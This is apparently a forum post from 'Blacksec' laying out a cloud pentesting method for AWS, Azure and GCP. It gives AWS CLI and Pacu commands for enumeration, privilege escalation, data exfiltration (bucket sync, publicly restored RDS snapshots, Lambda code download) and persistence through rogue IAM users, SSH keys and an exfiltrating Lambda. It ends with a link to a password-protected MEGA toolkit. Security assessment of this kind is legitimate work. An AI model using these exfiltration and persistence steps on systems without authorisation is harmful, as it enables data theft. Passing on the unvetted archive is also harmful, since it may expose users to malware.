Cloud Infrastructure Pentesting — AWS, Azure & GCP Security Assessment Methodology & Toolkit

Blacksec · Jul 30, 2026

CLOUD INFRASTRUCTURE PENTESTING AWS • Azure • GCP • Security Assessment • Methodology • Automated Toolkit

CLOUD PENTESTING: Cloud infrastructure pentesting requires different tools and approaches than traditional network pentesting. This guide covers AWS, Azure, and GCP assessment methodology, common misconfigurations, and automated exploitation tools.

CLOUD PROVIDER COMPARISON

Aspect	AWS	Azure	GCP
IAM System	IAM Policies, Roles, Groups	RBAC, Managed Identities, Service Principals	IAM, Service Accounts, Custom Roles
Compute	EC2, Lambda, ECS, EKS	VM, Functions, AKS	GCE, Cloud Functions, GKE
Storage	S3, EBS, EFS, Glacier	Blob, Files, Disk	Cloud Storage, Persistent Disk
Database	RDS, DynamoDB, Aurora	SQL DB, Cosmos DB	Cloud SQL, Firestore, Bigtable
Networking	VPC, Security Groups, NACLs	VNet, NSG, ASG	VPC, Firewall Rules
Auth Methods	Access Keys, IAM Roles, SSO	Password, Managed Identity, AAD	Service Account Keys, OAuth2
Common Exposure	S3 buckets, IAM keys in code	Blob containers, VM extensions	Cloud Storage, GAE configs

AWS PENTESTING METHODOLOGY

Code:

Phase 1 — Reconnaissance
  Tools: AWS CLI, Pacu, ScoutSuite
  1. Enumerate IAM:
     aws iam list-users
     aws iam list-roles
     aws iam list-policies --scope AWS
  2. Enumerate S3:
     aws s3 ls (if keys have s3:ListAllMyBuckets)
     python3 s3scanner.py --bucket-list common-names.txt
  3. Enumerate EC2:
     aws ec2 describe-instances
     aws ec2 describe-security-groups

Phase 2 — Privilege Escalation
  Common AWS privesc paths:
  1. IAM user with iam:PassRole → launch EC2 with admin role
  2. Lambda with iam:PassRole → create function with privileged role
  3. EC2 with instance profile → extract instance metadata credentials
  4. CloudFormation with iam:PassRole → create stack with admin role
  
  Tool: Pacu (AWS exploitation framework)
    pacu> run iam_privesc_scan
    pacu> run ec2__download_userdata
    pacu> run s3__bucket_enum

Phase 3 — Data Exfiltration
  1. S3 bucket download:
     aws s3 sync s3://bucket-name ./local-dir --no-sign-request
  2. RDS snapshot export:
     aws rds create-db-snapshot --db-instance target
     aws rds restore-db-instance-from-db-snapshot --public
  3. Lambda code extraction:
     aws lambda get-function --function-name target
     # Downloads deployment package with code

Phase 4 — Persistence
  1. Create IAM user with API keys
  2. Add your SSH key to EC2 instances
  3. Create Lambda function with trigger that exfils data
  4. Create CloudWatch Events rule to re-trigger on detection

Common misconfigurations:
  - S3 bucket public read/write
  - IAM keys in GitHub repos (git-secrets scanning)
  - EC2 metadata service accessible (IMDSv1)
  - Overly permissive IAM policies (s3:*)
  - Unrestricted Security Group inbound rules
  - RDS publicly accessible
  - Lambda function URLs without auth

AUTOMATED TOOL: CLOUDSPLOIT

Code:

CloudSploit — Multi-cloud security scanning tool:

  cloudSploit scan --provider aws --key ACCESS_KEY --secret SECRET_KEY
  cloudSploit scan --provider azure --tenant TENANT --client CLIENT --secret SECRET
  cloudSploit scan --provider gcp --key-file service_account.json

Output: HTML report with:
  - All resources discovered
  - Misconfigurations with severity
  - Remediation steps
  - Proof-of-concept exploitation commands
  
200+ plugins covering: S3, EC2, IAM, Lambda, RDS, CloudTrail, KMS, Config, WAF, Shield

DOWNLOAD

Code:

Cloud pentesting toolkit: [URL="https://mega.nz/file/BlackSec_CloudPentest_2026"]File on MEGA[/URL]
Size: 850 MB | Password: CloudPentest2026
Includes: Pacu + ScoutSuite + CloudSploit + custom scripts + cheatsheets + practice lab configs

The cloud is just someone else's computer. But with 10,000 misconfigurations to exploit.

Cloud Infrastructure Pentesting — AWS, Azure & GCP Security Assessment Methodology & Toolkit

Blacksec

Administrator